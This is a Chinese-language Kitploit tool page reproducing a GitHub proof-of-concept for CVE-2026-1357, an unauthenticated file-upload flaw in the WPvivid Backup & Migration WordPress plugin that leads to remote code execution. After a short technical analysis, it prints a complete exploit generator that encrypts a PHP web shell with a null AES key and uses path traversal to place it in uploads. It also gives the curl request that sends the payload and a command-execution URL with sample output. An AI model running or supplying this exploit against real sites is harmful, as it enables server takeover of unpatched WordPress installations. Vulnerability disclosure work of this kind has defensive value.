Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2026-1357 — CVE-2026-1357 的概念验证漏洞利用程序,针对 WPvivid Backup & Migration 插件中未经身份验证的任意文件上传漏洞(可导致远程代码执行),附带漏洞利用生成器及执行说明。 | Kitploit
工具/GitHubGitHub/lucasm0ntes/poc-cve-2026-1357
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHublucasm0ntes/poc-cve-2026-1357

POC-CVE-2026-1357

CVE-2026-1357 的概念验证漏洞利用程序,针对 WPvivid Backup & Migration 插件中未经身份验证的任意文件上传漏洞(可导致远程代码执行),附带漏洞利用生成器及执行说明。

查看仓库
1646个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-1357 WPvivid Backup & Migration RCE PoC

发现者: Lucas Montes (NiRoX)
漏洞类型: 未认证任意文件上传导致远程代码执行(RCE)
CVE ID: CVE-2026-1357
CVSS 评分: 严重(9.8)
状态: 已在 0.9.124 版本中修复


概述

本仓库包含对 WPvivid Backup & Migration WordPress 插件(版本 <= 0.9.123)中一个严重漏洞的分析和概念验证(PoC)。

该漏洞允许未认证攻击者向服务器上传任意文件(如 PHP 木马),从而立即实现远程代码执行(RCE)。此问题源于加密错误处理中的逻辑缺陷(Fail-Open)与路径遍历漏洞的组合。

技术分析

该漏洞存在于插件通过 wpvivid_action=send_to_site 钩子处理远程备份传输请求的方式中。利用链由两个相互配合的不同缺陷组成:

1. 加密 Fail-Open(绕过机制)

当插件收到传输请求时,它会尝试使用 openssl_private_decrypt() 解密提供的会话密钥。

  • 缺陷: 如果提供了格式错误或伪造的 RSA 密钥,该函数会返回 false。插件逻辑未检查此布尔返回值,而是直接将 false 传递给 库以初始化 AES 密码。
phpseclib
  • 结果: 在存在漏洞的 phpseclib 版本中,false 或空密钥会被视为由空字节(\0\0...)组成的字符串。这使得攻击者可以使用128 位空密钥加密恶意负载,从而绕过对真实私钥的需求。
  • 2. 路径遍历(RCE 实现)

    一旦负载使用空密钥成功"解密",插件会处理 JSON 内容。

    • 缺陷: JSON 负载中的 name 参数未经过净化处理。
    • 结果: 攻击者可以使用目录遍历字符(../)逃逸插件受限的备份目录(通常受 .htaccess 保护),并将恶意 PHP 文件写入公开的 wp-content/uploads/ 目录。

    限制条件:

    • 注意: 根据披露中的说明,此漏洞仅在插件设置中已生成"密钥"且该密钥尚未过期时才可利用。一旦 wpvivid_api_token 过期,存在漏洞的代码路径会使请求静默失败。

    概念验证(PoC)

    前置条件

    该漏洞利用依赖于 phpseclib(v1)的行为。要在本地运行生成器,你需要以下库文件:

    root@kitploit:~
    mkdir -p phpseclib/Crypt
    wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
    wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
    
    

    漏洞利用生成器(exploit.php)

    该脚本创建使用空密钥加密的负载,并包含用于上传木马的路径遍历。

    root@kitploit:~
    <?php
    // exploit.php - 作者:Lucas Montes (NiRoX)
    require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
    
    // 1. 初始化 Rijndael(AES)
    $rij = new Crypt_Rijndael();
    $rij->setBlockLength(128); 
    
    // 2. 漏洞复现
    // 当 RSA 解密失败(返回 false)时,服务器默认使用空密钥。
    // 我们将本地密钥设置为 16 个空字节,以匹配服务器的漏洞状态。
    $rij->setKey(str_repeat("\0", 16));
    
    // 3. 负载
    $shell_content = '<?php system($_GET["cmd"]); ?>';
    
    // 4. 包含路径遍历的 JSON 对象
    // 我们向上遍历到 /uploads/ 以绕过 .htaccess 限制
    $params = [
        "backup_id" => "1",
        "name" => "../uploads/pwn_remote.php", 
        "data" => base64_encode($shell_content),
        "offset" => 0,
        "file_size" => strlen($shell_content),
        "total_size" => strlen($shell_content),
        "index" => 0,
        "md5" => md5($shell_content),
        "type" => "backup",
        "status" => "running"
    ];
    
    // 5. 使用空密钥加密
    $encrypted = $rij->encrypt(json_encode($params));
    
    // 6. 构造数据包
    // "ABC" 是触发服务器返回 'false' 的伪造 RSA 密钥
    $fake_key = "ABC"; 
    $payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT) 
             . $fake_key 
             . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT) 
             . $encrypted;
    
    echo base64_encode($payload);
    ?>
    
    

    执行攻击

    1. 生成负载:
    root@kitploit:~
    PAYLOAD=$(php exploit.php)
    
    
    1. 发送请求:
    root@kitploit:~
    curl -i -s -X POST 'http://TARGET-URL/' \
      -d 'wpvivid_action=send_to_site' \
      --data-urlencode "wpvivid_content=$PAYLOAD"
    
    
    1. 验证 RCE: 如果成功,木马将可通过以下地址访问:
    root@kitploit:~
    http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
    
    

    结果:

    root@kitploit:~
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    下载工具